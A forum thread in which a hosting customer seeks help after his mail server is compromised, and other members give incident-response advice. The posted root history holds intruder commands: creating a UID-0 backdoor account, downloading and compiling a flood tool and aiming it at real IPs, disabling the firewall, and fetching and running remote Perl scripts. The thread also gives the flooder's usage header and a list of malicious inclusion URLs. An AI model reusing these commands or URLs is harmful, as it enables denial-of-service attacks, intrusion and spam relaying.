Mail Server Compromised with gemnuke.c

maydaymayday · 12-29-2009, 07:16 PM

I have a dedicated server at my hosting service. I was not able to login as root so asked the support staff for help. They reset the root login from the console and sent me the following from the root history asking me to examine it. I did so but it doesn't mean a lot to me. I was able to login to the server but now I'm locked out again.

The server was being used to send emails in spanish.

Has anyone seen this gemnuke script before? Any ideas how to prevent them from logging me out again?

490 id
491 uname -a
492 /sbin/ifconfig
493 useradd -o xsenha -u 0 -g 0
494 passwd xsenha
495 cd /hme
496 ls
497 cd /home
498 ls
499 passwd beach
500 passwd root
501 id
502 uname -a
503 cd /tmp
504 ls
505 /etc/init.d/sendmail
506 /etc/init.d/sendmail status
507 cd /etc/init.d
508 ls
509 ./qmail
510 ./postfix
511 ./postfix status
512 ./postfix start
513 cd /tmp
514 ls
515 wget http://mateus007.xpg.com.br//gemnuke.c
516 gcc gemnuke.c -o g3m
517 ./g3m -h 72.20.14.70 -U -T 1 2 3 -I -t 30
518 /etc/init.d/iptables stop
519 ./g3m -h 72.20.14.70 -U -T 1 2 3 -I -t 30
520 ./g3m -h 72.20.14.70 -U -T 1 2 3 -I -t 30
521 ./g3m -h 72.20.14.70 -U -T 1 2 3 -I -t 30
522 ./g3m -h 72.20.14.70 -U -T 1 2 3 -I -t 30
523 ./g3m -h 72.20.14.70 -p 6667 -U -T 1 2 3 -I -t 30
524 ./g3m -h 72.20.14.70 -p 6667,6667 -U -T 1 2 3 -I -t 30
525 ./g3m -h 94.23.114.9 -p 6667,6667 -U -T 1 2 3 -I -t 30
526 iptables
527 ./g3m 188.241.112.243 -p 6667,6667 -U -T 1 2 3 -I -t 30
528 ./g3m -h 188.241.112.243 -p 6667,6667 -U -T 1 2 3 -I -t 30
529 ls
530 cat install.sh
531 nano in
532 nano install.sh
533 ls
534 cat .bash_history
535 wget http://12cms.nl/go.txt
536 wget http://12cms.nl/u.txt
537 wget http://12cms.nl/vox.htm
538 perl go.txt u.txt vox.htm
539 rm -rf *.txt
540 rm -rf *.htm
541 cat E-Mails_Enviados
542 cat /etc/mail
543 cd /etc/mail
544 ls
545 cat sendmail.cf.rpmsave
546 cd s
547 ls
548 cd spamassassin/
549 ls
550 cat spamassassin-helper.sh
551 sh spamassassin-helper.sh
552 ls
553 ls
554 cd /tmp
555 ls
556 cd /var/tmp
557 ls
558 cd ~
559 ls
560 cat E-Mails_Enviados

Grateful for any help.

exvor · 12-29-2009, 07:33 PM

I followed the link to the gemnuke.c file and found this in its header information

Code:

 
/*
 * Geminid II. TCP/UDP/ICMP Packet flooder
 *
 *
 * Usage: geminid [-T -U -I -N -s -h -d -p -q -l -t]
 *
 *     -T TCP attack [0:ACK, 1:FIN, 2:RST, 3:SYN]   (no default         )
 *     -U UDP attack                                (no options         )
 *     -I ICMP attack                               (no options         )
 *     -N Bogus No flag attack                      (no options         )
 *     -s source class/ip                           (defaults to random )
 *     -h destination host/ip                       (no default         )
 *     -d destination class                         (no default         )
 *     -p destination port range [start,end]        (defaults to random )
 *     -q source port range [start,end]             (defaults to random )
 *     -l % of box link to use                      (defaults to 100%   )
 *     -t timeout                                   (defaults to forever)
 *
 *
 * Compiling
 * 
 *      Default:
 *      % gcc geminid.c -o geminid
 *
 *      With password file option:
 *      % gcc -DF_PASS geminid.c -o geminid
 *
 * by LIVE
 */

This looks like they have tuned your server into an attack zombie.

maydaymayday · 12-29-2009, 08:29 PM

Thanks Exvor.

I saw that they had screwed with the iptables so I set them through webmin to the webserver option. Is that likely to kill their operations? Is the server hopelessly compromised now? I'm an applications guy (php,Mysql) and I'm out of my depth here.

Web31337 · 12-29-2009, 11:06 PM

most important thing is to understand where they actually got in.
probably it's because of an old kernel: commands look the way they were run as root so it's either an old kernel, they broke into one of services working under regular user and then exploited kernel, or they exploited one of services that was running as root while it shouldn't.
update your kernel if possible(if not, ask help of those who run it). if kernel is up-to-date, paste your ps aux command outputs and post a link here, please.

Hangdog42 · 12-30-2009, 07:37 AM

Quote:

Originally Posted by maydaymayday

Thanks Exvor.

I saw that they had screwed with the iptables so I set them through webmin to the webserver option. Is that likely to kill their operations? Is the server hopelessly compromised now? I'm an applications guy (php,Mysql) and I'm out of my depth here.

The first impulse to suppress is the desire to tinker. If you've been cracked, just messing with random things is pretty useless. What you do need to do is get control of the machine. That means either unplug it completely from the network (if you have physical access) or set up your firewall so that only SSH is available, and then ONLY from a trusted IP address.

Once you've got control of the machine, it is time to start investigating what happened. A good guide to gathering relevant information is the CERT Checklist. As Web31337 pointed out, figuring out how they got in is pretty critical to preventing them from doing so again. That means you'll need to generate a bit of evidence as to what happened. Log files and some process commands would be useful, such as:

ps -afxwwwe
lsof -Pwn
netstat - anpe

It would also be useful to know what distro you're running and how up to date the patches were.

There are a number of regulars here who have good experience in security, and if you post your findings, you will definitely get some guidance.

maydaymayday · 12-31-2009, 12:59 PM

Thanks to web31337 and Hangdog42 for responding and excuse me for being a little tardy in replying. Fact is I've been busy moving the site to a new server and attempting to make it more secure by restricting ssh to just myself through keygen and disabling access through passwords. I also installed DenyHosts (http://denyhosts.sourceforge.net/). It was appalling to see how quickly and how numerous the attempted attacks were.

Thanks for the link to the CERT Checklist, I'll look into that for the new server.

The distro on the old server was
Operating system CentOS Linux 5.4
Webmin version 1.500 Virtualmin version 3.75 Pro
Kernel and CPU Linux 2.6.18-128.el5 on i686

I ran ps -afxwwwe and the server responded bad syntax.
I piped the lsof output to a file which was unmanageably large - 172k

netstat output was
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State User Inode PID/Program name
tcp 0 0 0.0.0.0:20000 0.0.0.0:* LISTEN 0 9486 2614/perl
tcp 0 0 0.0.0.0:225 0.0.0.0:* LISTEN 0 4896 2077/sbadm
tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN 27 5128 2166/mysqld
tcp 0 0 0.0.0.0:5901 0.0.0.0:* LISTEN 0 4972 2057/xinetd
tcp 0 0 66.135.53.207:53 0.0.0.0:* LISTEN 25 4608 1942/named
tcp 0 0 76.74.252.90:53 0.0.0.0:* LISTEN 25 4606 1942/named
tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN 25 4604 1942/named
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN 26 5284 2250/postmaster
tcp 0 0 0.0.0.0:12697 0.0.0.0:* LISTEN 0 31420179 13875/perl
tcp 0 0 127.0.0.1:953 0.0.0.0:* LISTEN 25 4616 1942/named
tcp 0 0 :::22 :::* LISTEN 0 133619584 5048/sshd
tcp 0 0 ::1:953 :::* LISTEN 25 4617 1942/named
tcp 0 2032 ::ffff:76.74.252.90:22 ::ffff:72.235.30.109:39301 ESTABLISHED 0 135708150 1253/sshd: XXXXXXX
udp 0 0 0.0.0.0:32768 0.0.0.0:* 25 4612 1942/named
udp 0 0 127.0.0.1:32770 127.0.0.1:32770 ESTABLISHED 26 5291 2250/postmaster
udp 0 0 0.0.0.0:10000 0.0.0.0:* 0 31420180 13875/perl
udp 0 0 0.0.0.0:20000 0.0.0.0:* 0 9487 2614/perl
udp 0 0 66.135.53.207:53 0.0.0.0:* 25 4607 1942/named
udp 0 0 76.74.252.90:53 0.0.0.0:* 25 4605 1942/named
udp 0 0 127.0.0.1:53 0.0.0.0:* 25 4603 1942/named
udp 0 0 66.135.53.207:123 0.0.0.0:* 0 4874 2073/ntpd
udp 0 0 76.74.252.90:123 0.0.0.0:* 0 4873 2073/ntpd
udp 0 0 127.0.0.1:123 0.0.0.0:* 0 4872 2073/ntpd
udp 0 0 0.0.0.0:123 0.0.0.0:* 0 4867 2073/ntpd
udp 0 0 :::32769 :::* 25 4613 1942/named
udp 0 0 ::1:123 :::* 0 4870 2073/ntpd
udp 0 0 :::123 :::* 0 4868 2073/ntpd
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node PID/Program name Path
unix 2 [ ACC ] STREAM LISTENING 5286 2250/postmaster /tmp/.s.PGSQL.5432
unix 2 [ ACC ] STREAM LISTENING 5129 2166/mysqld /var/lib/mysql/mysql.sock
unix 13 [ ] DGRAM 4437 1891/syslogd /dev/log
unix 2 [ ACC ] STREAM LISTENING 4442 1875/python /var/run/audit_events
unix 2 [ ] DGRAM 1310 495/udevd @/org/kernel/udev/udevd
unix 2 [ ACC ] STREAM LISTENING 6717 2461/saslauthd /var/run/saslauthd/mux
unix 2 [ ] DGRAM 135708258 1284/su
unix 3 [ ] STREAM CONNECTED 135708196 1253/sshd: XXXXXXX
unix 3 [ ] STREAM CONNECTED 135708195 1255/0
unix 2 [ ] DGRAM 135708188 1253/sshd: XXXXXXX
unix 2 [ ] DGRAM 31419551 13875/perl
unix 2 [ ] DGRAM 7227380 1873/auditd
unix 2 [ ] DGRAM 6716 2461/saslauthd
unix 2 [ ] DGRAM 6581 2433/crond
unix 2 [ ] DGRAM 4859 2073/ntpd
unix 2 [ ] DGRAM 4841 2057/xinetd
unix 3 [ ] STREAM CONNECTED 4750 2018/rpc.idmapd
unix 3 [ ] STREAM CONNECTED 4749 2018/rpc.idmapd
unix 2 [ ] DGRAM 4576 1942/named
unix 2 [ ] DGRAM 4450 1894/klogd
unix 2 [ ] DGRAM 4441 1875/python
unix 3 [ ] STREAM CONNECTED 4405 1873/auditd
unix 3 [ ] STREAM CONNECTED 4404 1875/python

You probably need to know that Apache, postfix and dovecot were shut down.

Hangdog42 · 01-01-2010, 06:03 AM

Quote:

Thanks for the link to the CERT Checklist, I'll look into that for the new server.

Maybe I'm a touch confused, but what good would that do? The purpose of the CERT checklist is to give you some direction for investigating the compromised machine.

Quote:

I ran ps -afxwwwe and the server responded bad syntax.

Hm. Odd. Does ps work at all? You also might try leaving off the - as ps may not strictly require it.

Quote:

I piped the lsof output to a file which was unmanageably large - 172k

That does seem rather large. I'll look into a finding a place to post it so we can look at it.

From your netstat output it looks like a number of things besides the mail server are running. The question is, are they supposed to be. Does anything in that list stike you as abnormal?

By the way, one thing to keep in mind is that depending on the level of compromise, the output of commands run on that machine might not be reliable. Some commands may have been altered so that they hide evidence of the compromise.

Web31337 · 01-02-2010, 11:37 AM

first sight:
0.0.0.0:20000 LISTEN 2614/perl do you know this process? what perl script uses port 20000?

tcp 0.0.0.0:225 2077/sbadm seem to be run under root, i don't know what it is, do you?
tcp 0.0.0.0:5901 LISTEN 2057/xinetd do you use VNC? I hope it's secure, yeah? I've seen many servers not protected with password and allowing connections from everywhere. Also VNC 3.x protocol's password is easily-crackable, it can only contain 8 letters(you think it's more, but in fact protocol can only transfer 8 letters).

when was your kernel built? before summer 2009? in that case i may guess someone gained PHP(or other PL you run on your webserver) code execution possibility and could also execute shell commands, so he built/uploaded exploit and gained root then. I also seen this for many times this year, after critical vulnerability was found in all 2.4 and 2.6 kernels.

make sure all services run under separate user with minimal privileges, only required for it to work properly, no more no less.

maydaymayday · 01-02-2010, 09:31 PM

Hi Again,

The old server is shut down now. I secured the new server with ssh no password login and the server cannot act as a mail relay but I now see some mail being sent from Apache that is not kosher so I fear that they have attacked the new server, possibly with a php hack as you say.

Operating system CentOS Linux 5.4
Webmin version 1.500 Virtualmin version 3.75 Pro
Kernel and CPU Linux 2.6.18-164.6.1.el5 on i686

Output from netstat is now very large and shows some possibly weird stuff particularly the 125.162.233.141:imgames
. A reverse dns shows the ip is in indonesia.

Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 server1.nbicharts.com:smtp 125.162.233.141:imgames ESTABLISHED
tcp 0 128 server1.nbicharts.com:ssh udp292457uds.hawaiiant:4502 ESTABLISHED
Active UNIX domain sockets (w/o servers)
Proto RefCnt Flags Type State I-Node Path
unix 24 [ ] DGRAM 4868 /dev/log
unix 2 [ ] DGRAM 1417 @/org/kernel/udev/udevd
unix 2 [ ] DGRAM 6750 @/org/freedesktop/hal/udev_event
unix 3 [ ] STREAM CONNECTED 30053 /var/run/dovecot/login/default
unix 3 [ ] STREAM CONNECTED 30052
unix 3 [ ] STREAM CONNECTED 30047
unix 3 [ ] STREAM CONNECTED 30046
unix 2 [ ] DGRAM 29992
unix 3 [ ] STREAM CONNECTED 29988 private/rewrite
unix 3 [ ] STREAM CONNECTED 29987
unix 3 [ ] STREAM CONNECTED 29986 private/rewrite
unix 3 [ ] STREAM CONNECTED 29985
unix 2 [ ] DGRAM 29977
unix 3 [ ] STREAM CONNECTED 29520 /var/run/dovecot/login/default
unix 3 [ ] STREAM CONNECTED 29519
unix 3 [ ] STREAM CONNECTED 29514
unix 3 [ ] STREAM CONNECTED 29513
unix 3 [ ] STREAM CONNECTED 28783 private/rewrite
unix 3 [ ] STREAM CONNECTED 28782
unix 3 [ ] STREAM CONNECTED 28748 private/anvil
unix 3 [ ] STREAM CONNECTED 28747
unix 2 [ ] DGRAM 28725
unix 2 [ ] DGRAM 25179
unix 3 [ ] STREAM CONNECTED 25100
unix 3 [ ] STREAM CONNECTED 25099
unix 2 [ ] DGRAM 25092
unix 3 [ ] STREAM CONNECTED 24724 /var/run/dovecot/login/default
unix 3 [ ] STREAM CONNECTED 24723
unix 3 [ ] STREAM CONNECTED 24718
unix 3 [ ] STREAM CONNECTED 24717
unix 3 [ ] STREAM CONNECTED 23774 /var/lib/mysql/mysql.sock
unix 3 [ ] STREAM CONNECTED 23773
unix 3 [ ] STREAM CONNECTED 20110 /var/lib/mysql/mysql.sock
unix 3 [ ] STREAM CONNECTED 20109
unix 2 [ ] DGRAM 8795
unix 3 [ ] STREAM CONNECTED 8447 @/tmp/fam-root-
unix 3 [ ] STREAM CONNECTED 8446
unix 3 [ ] STREAM CONNECTED 8414 /var/run/dbus/system_bus_socket
unix 3 [ ] STREAM CONNECTED 8413
unix 3 [ ] STREAM CONNECTED 8189 /var/run/dbus/system_bus_socket
unix 3 [ ] STREAM CONNECTED 8188
unix 3 [ ] STREAM CONNECTED 8042 /var/run/acpid.socket
unix 3 [ ] STREAM CONNECTED 8041
unix 3 [ ] STREAM CONNECTED 8032 @/var/run/hald/dbus-KayTP8G779
unix 3 [ ] STREAM CONNECTED 8031
unix 3 [ ] STREAM CONNECTED 6745 @/var/run/hald/dbus-NowoSwsy21
unix 3 [ ] STREAM CONNECTED 6744
unix 3 [ ] STREAM CONNECTED 6624 /var/run/dbus/system_bus_socket
unix 3 [ ] STREAM CONNECTED 6623
unix 3 [ ] STREAM CONNECTED 6589
unix 3 [ ] STREAM CONNECTED 6588
unix 2 [ ] DGRAM 6535
unix 2 [ ] DGRAM 6421
unix 2 [ ] DGRAM 6166
unix 2 [ ] DGRAM 6085
unix 2 [ ] DGRAM 6064
unix 2 [ ] DGRAM 6058
unix 3 [ ] STREAM CONNECTED 6046
unix 3 [ ] STREAM CONNECTED 6045
unix 3 [ ] STREAM CONNECTED 6042
unix 3 [ ] STREAM CONNECTED 6041
unix 3 [ ] STREAM CONNECTED 6038
unix 3 [ ] STREAM CONNECTED 6037
unix 3 [ ] STREAM CONNECTED 6034
unix 3 [ ] STREAM CONNECTED 6033
unix 3 [ ] STREAM CONNECTED 6030
unix 3 [ ] STREAM CONNECTED 6029
unix 3 [ ] STREAM CONNECTED 6026
unix 3 [ ] STREAM CONNECTED 6025
unix 3 [ ] STREAM CONNECTED 6022
unix 3 [ ] STREAM CONNECTED 6021
unix 3 [ ] STREAM CONNECTED 6018
unix 3 [ ] STREAM CONNECTED 6017
unix 3 [ ] STREAM CONNECTED 6014
unix 3 [ ] STREAM CONNECTED 6013
unix 3 [ ] STREAM CONNECTED 6010
unix 3 [ ] STREAM CONNECTED 6009
unix 3 [ ] STREAM CONNECTED 6006
unix 3 [ ] STREAM CONNECTED 6005
unix 3 [ ] STREAM CONNECTED 6002
unix 3 [ ] STREAM CONNECTED 6001
unix 3 [ ] STREAM CONNECTED 5998
unix 3 [ ] STREAM CONNECTED 5997
unix 3 [ ] STREAM CONNECTED 5994
unix 3 [ ] STREAM CONNECTED 5993
unix 3 [ ] STREAM CONNECTED 5990
unix 3 [ ] STREAM CONNECTED 5989
unix 3 [ ] STREAM CONNECTED 5986
unix 3 [ ] STREAM CONNECTED 5985
unix 3 [ ] STREAM CONNECTED 5982
unix 3 [ ] STREAM CONNECTED 5981
unix 3 [ ] STREAM CONNECTED 5978
unix 3 [ ] STREAM CONNECTED 5977
unix 3 [ ] STREAM CONNECTED 5974
unix 3 [ ] STREAM CONNECTED 5973
unix 3 [ ] STREAM CONNECTED 5970
unix 3 [ ] STREAM CONNECTED 5969
unix 3 [ ] STREAM CONNECTED 5966
unix 3 [ ] STREAM CONNECTED 5965
unix 3 [ ] STREAM CONNECTED 5962
unix 3 [ ] STREAM CONNECTED 5961
unix 3 [ ] STREAM CONNECTED 5958
unix 3 [ ] STREAM CONNECTED 5957
unix 3 [ ] STREAM CONNECTED 5954
unix 3 [ ] STREAM CONNECTED 5953
unix 3 [ ] STREAM CONNECTED 5950
unix 3 [ ] STREAM CONNECTED 5949
unix 3 [ ] STREAM CONNECTED 5947
unix 3 [ ] STREAM CONNECTED 5946
unix 3 [ ] STREAM CONNECTED 5943
unix 3 [ ] STREAM CONNECTED 5942
unix 3 [ ] STREAM CONNECTED 5940
unix 3 [ ] STREAM CONNECTED 5939
unix 2 [ ] DGRAM 5919
unix 3 [ ] STREAM CONNECTED 5839
unix 3 [ ] STREAM CONNECTED 5838
unix 3 [ ] STREAM CONNECTED 5837
unix 3 [ ] STREAM CONNECTED 5836
unix 2 [ ] DGRAM 5683
unix 2 [ ] DGRAM 5630
unix 3 [ ] STREAM CONNECTED 5625
unix 3 [ ] STREAM CONNECTED 5624
unix 2 [ ] DGRAM 5588
unix 2 [ ] DGRAM 5535
unix 2 [ ] DGRAM 5355
unix 2 [ ] DGRAM 5229
unix 3 [ ] STREAM CONNECTED 5172 /var/run/dbus/system_bus_socket
unix 3 [ ] STREAM CONNECTED 5171
unix 2 [ ] DGRAM 5153
unix 2 [ ] DGRAM 5143
unix 3 [ ] STREAM CONNECTED 5104
unix 3 [ ] STREAM CONNECTED 5103
unix 3 [ ] STREAM CONNECTED 5058
unix 3 [ ] STREAM CONNECTED 5057
unix 2 [ ] DGRAM 4876
unix 3 [ ] STREAM CONNECTED 4812
unix 3 [ ] STREAM CONNECTED 4811

Hangdog42 · 01-03-2010, 08:16 AM

Quote:

The old server is shut down now. I secured the new server with ssh no password login and the server cannot act as a mail relay but I now see some mail being sent from Apache that is not kosher so I fear that they have attacked the new server, possibly with a php hack as you say.

Well, since you never investigated the cause of the original breach, it seems pretty likely that the same weaknesses exist in the new server. And have been exploited. Again. Until you start an investigation into what has happened, you will likely never solve this. Is a PHP exploit responsible? Possibly, but who really knows? At this point you haven't produced much evidence that would be useful in diagnosing the problem and until you do, anything that gets posted as a potential explanation is just irresponsible fantasizing.

So the first question you need to answer is this: Do you want to diagnose the compromised machine? If you do, you will get help here from experienced people. If you don't, then this thread has run its course. I apologize if I'm coming off as heavy-handed, but a lot of threads here end up being a waste of time because the owner of the compromised machine doesn't want to investigate.

If you do want to investigate, PLEASE cut off all network access to the machine. Either pull the network plug or eliminate all network traffic except SSH at the firewall. No mail traffic, no Apache traffic, nothing except SSH. And then start down the CERT checklist.

Please let us know your decision.

maydaymayday · 01-03-2010, 07:40 PM

Regrettably, your prescription on how to proceed is beyond my limited resources so we will have to leave it there. I'm sorry to have wasted your time and I thank you and web31337 for your efforts to help.

Hangdog42 · 01-04-2010, 07:02 AM

I'm sorry that is your decision, but if you change your mind, please return. I would also suggest that if you go through the effort to create another new server, you install Aide or Samhain. These will monitor your file system and will report changed files. That may give you a clue as to how the system has been compromised. However, these have to be installed before the system is compromised, they are useless on a cracked box.

maydaymayday · 01-05-2010, 04:26 PM

The priority for me was to block the spam coming from my server. I'm a one-man show and don't have the time or money to do the research you proposed, as much as I would like to. I had to keep my site(s) operating.

Anyway, what I found (by hacking a php sendmail script) was that mail was being sent as a result of injecting a url into one of my php scripts. The script in question used index.php?page= to display one of a number of html pages on one of my sites. This was used as a menu system (see http://www.tradestocks101.com). For example, they injected index.php?page=http://mpva.com.au/x??? which then executed a javascript allowing them to browse my directory, upload code, etc.

I also found some code on the site that shouldn't be there: a .bin and a couple of image files that were binaries.

I've removed them and closed the index.php loophole. I've also written to mpva.com.au to let them know they are hosting a malicious script.

Going through the logs back to the start of the new server, all the offending injections were:

http://mpva.com.au/x???
http://byvilnius.com.br/cmd.txt?
http://gatasmga.net/sub.txt?
http://primess1.hd1.com.br/azul.txt??
http://sms-box-live.web45.f1.k8.com.br/priv.txt??
http://www.bmx20.com/index/cmd.txt?
http://www.epora.com.br/lunhalunha.txt?

Thought you might like to know.

Hangdog42 · 01-06-2010, 07:43 AM

Quote:

The priority for me was to block the spam coming from my server. I'm a one-man show and don't have the time or money to do the research you proposed, as much as I would like to. I had to keep my site(s) operating.

I certainly understand the need to keep operating, but consider this: You may have simply treated a symptom, not the disease. Sure, the spam may have stopped, but do you really control your own machine? And how would your customers react if they knew they were on a compromised machine? So really, is the priority stopping the spam or securing the machine? They aren't necessarily the same thing.

Quote:

Anyway, what I found (by hacking a php sendmail script) was that mail was being sent as a result of injecting a url into one of my php scripts.

Could I ask how you determined that this was the course of attack? From what you've posted here, there is no evidence to suggest that this is how they gained entrance. PHP is ALWAYS a suspect, but without some evidence (which you may have) it isn't always the right answer. And again, this is addressing a symptom (spam) while ignoring the underlying disease (the original breach that allows them to send spam).

Quote:

I also found some code on the site that shouldn't be there: a .bin and a couple of image files that were binaries.

What about ownership of these files? Did they need root access to install any of this? Are you sure you can trust what your computer is telling you? One of the possibilities is that if you were rooted, they may have installed binaries that hide evidence of the rootkit.

I know investigating is a complete pain, but at the moment I see no evidence that you've gotten to the underlying problem.

maydaymayday · 01-07-2010, 01:35 AM

> at the moment I see no evidence that you've gotten to the underlying problem.

You are correct but unless anything else comes up that might benefit the community, I'm signing off.